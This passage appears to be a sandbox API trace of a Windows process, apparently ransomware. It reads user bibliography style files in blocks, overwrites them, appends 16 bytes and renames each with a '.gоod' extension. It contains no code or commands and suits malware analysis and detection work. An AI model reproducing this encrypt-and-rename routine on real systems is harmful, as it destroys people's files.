[0234.748] GetFileType (hFile=0x860) returned 0x1 [0234.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0234.748] GetFileType (hFile=0x860) returned 0x1 [0234.748] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x48839 [0234.748] WriteFile (in: hFile=0x860, lpBuffer=0x3832640*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3832640*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0235.042] CloseHandle (hObject=0x860) returned 1 [0235.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", lpFilePart=0x0) returned 0x48 [0235.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0235.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0235.476] GetFileType (hFile=0x630) returned 0x1 [0235.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0235.487] GetFileType (hFile=0x630) returned 0x1 [0235.487] ReadFile (in: hFile=0x630, lpBuffer=0x38c8c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x38c8c30*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0235.541] CloseHandle (hObject=0x630) returned 1 [0235.541] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", lpFilePart=0x0) returned 0x48 [0235.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0235.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0235.542] GetFileType (hFile=0x630) returned 0x1 [0235.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0235.542] GetFileType (hFile=0x630) returned 0x1 [0235.542] WriteFile (in: hFile=0x630, lpBuffer=0x38c4310*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x38c4310*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0235.542] CloseHandle (hObject=0x630) returned 1 [0235.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL", lpFilePart=0x0) returned 0x48 [0235.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.gоod", lpFilePart=0x0) returned 0x4d [0235.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0235.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b719, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d5b719, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x889a8f84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x48849)) returned 1 [0235.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0235.542] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\chicago.xsl.gоod")) returned 1 [0235.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", lpFilePart=0x0) returned 0x43 [0235.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0235.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), fInfoLevelId=0x0, lpFileInformation=0x39a64e8 | out: lpFileInformation=0x39a64e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81993, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d81993, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x23a87e3, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x4197e)) returned 1 [0235.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0235.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", lpFilePart=0x0) returned 0x43 [0235.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0235.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0235.545] GetFileType (hFile=0x630) returned 0x1 [0235.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0235.545] GetFileType (hFile=0x630) returned 0x1 [0235.545] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0235.545] ReadFile (in: hFile=0x630, lpBuffer=0x39a68d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x39a68d0*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0235.749] CloseHandle (hObject=0x630) returned 1 [0236.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", lpFilePart=0x0) returned 0x43 [0236.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.168] GetFileType (hFile=0x630) returned 0x1 [0236.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.168] GetFileType (hFile=0x630) returned 0x1 [0236.168] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x4197e [0236.200] WriteFile (in: hFile=0x630, lpBuffer=0x3cd2840*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3cd2840*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0236.202] CloseHandle (hObject=0x630) returned 1 [0236.202] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", lpFilePart=0x0) returned 0x43 [0236.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.202] GetFileType (hFile=0x630) returned 0x1 [0236.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.203] GetFileType (hFile=0x630) returned 0x1 [0236.203] ReadFile (in: hFile=0x630, lpBuffer=0x3d3f7c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x3d3f7c0*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0236.239] CloseHandle (hObject=0x630) returned 1 [0236.239] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", lpFilePart=0x0) returned 0x43 [0236.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.239] GetFileType (hFile=0x630) returned 0x1 [0236.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.239] GetFileType (hFile=0x630) returned 0x1 [0236.239] WriteFile (in: hFile=0x630, lpBuffer=0x3d3e530*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x3d3e530*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0236.239] CloseHandle (hObject=0x630) returned 1 [0236.240] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL", lpFilePart=0x0) returned 0x43 [0236.240] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.gоod", lpFilePart=0x0) returned 0x48 [0236.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0236.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81993, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d81993, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8905daf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4198e)) returned 1 [0236.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0236.240] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl.gоod")) returned 1 [0236.241] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", lpFilePart=0x0) returned 0x49 [0236.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0236.241] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3dbbb90 | out: lpFileInformation=0x3dbbb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e966)) returned 1 [0236.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0236.241] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", lpFilePart=0x0) returned 0x49 [0236.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.241] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.241] GetFileType (hFile=0x630) returned 0x1 [0236.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.241] GetFileType (hFile=0x630) returned 0x1 [0236.241] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0236.241] ReadFile (in: hFile=0x630, lpBuffer=0x3dbbfb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3dbbfb8*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0236.609] CloseHandle (hObject=0x630) returned 1 [0236.609] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", lpFilePart=0x0) returned 0x49 [0236.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.609] GetFileType (hFile=0x630) returned 0x1 [0236.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.610] GetFileType (hFile=0x630) returned 0x1 [0236.610] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x3e966 [0236.610] WriteFile (in: hFile=0x630, lpBuffer=0x3699ab8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3699ab8*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0236.611] CloseHandle (hObject=0x630) returned 1 [0236.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", lpFilePart=0x0) returned 0x49 [0236.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.611] GetFileType (hFile=0x630) returned 0x1 [0236.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.611] GetFileType (hFile=0x630) returned 0x1 [0236.611] ReadFile (in: hFile=0x630, lpBuffer=0x369c1e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x369c1e0*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0236.638] CloseHandle (hObject=0x630) returned 1 [0236.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", lpFilePart=0x0) returned 0x49 [0236.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.639] GetFileType (hFile=0x630) returned 0x1 [0236.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.639] GetFileType (hFile=0x630) returned 0x1 [0236.639] WriteFile (in: hFile=0x630, lpBuffer=0x369af30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x369af30*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0236.639] CloseHandle (hObject=0x630) returned 1 [0236.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", lpFilePart=0x0) returned 0x49 [0236.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.gоod", lpFilePart=0x0) returned 0x4e [0236.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0236.639] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8943d7ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e976)) returned 1 [0236.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0236.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl.gоod")) returned 1 [0236.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", lpFilePart=0x0) returned 0x4a [0236.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0236.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), fInfoLevelId=0x0, lpFileInformation=0x371a5f0 | out: lpFileInformation=0x371a5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d639)) returned 1 [0236.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0236.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", lpFilePart=0x0) returned 0x4a [0236.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.641] GetFileType (hFile=0x630) returned 0x1 [0236.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0236.641] GetFileType (hFile=0x630) returned 0x1 [0236.641] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0236.641] ReadFile (in: hFile=0x630, lpBuffer=0x371aa18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x371aa18*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0236.884] CloseHandle (hObject=0x630) returned 1 [0236.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", lpFilePart=0x0) returned 0x4a [0236.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0236.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), 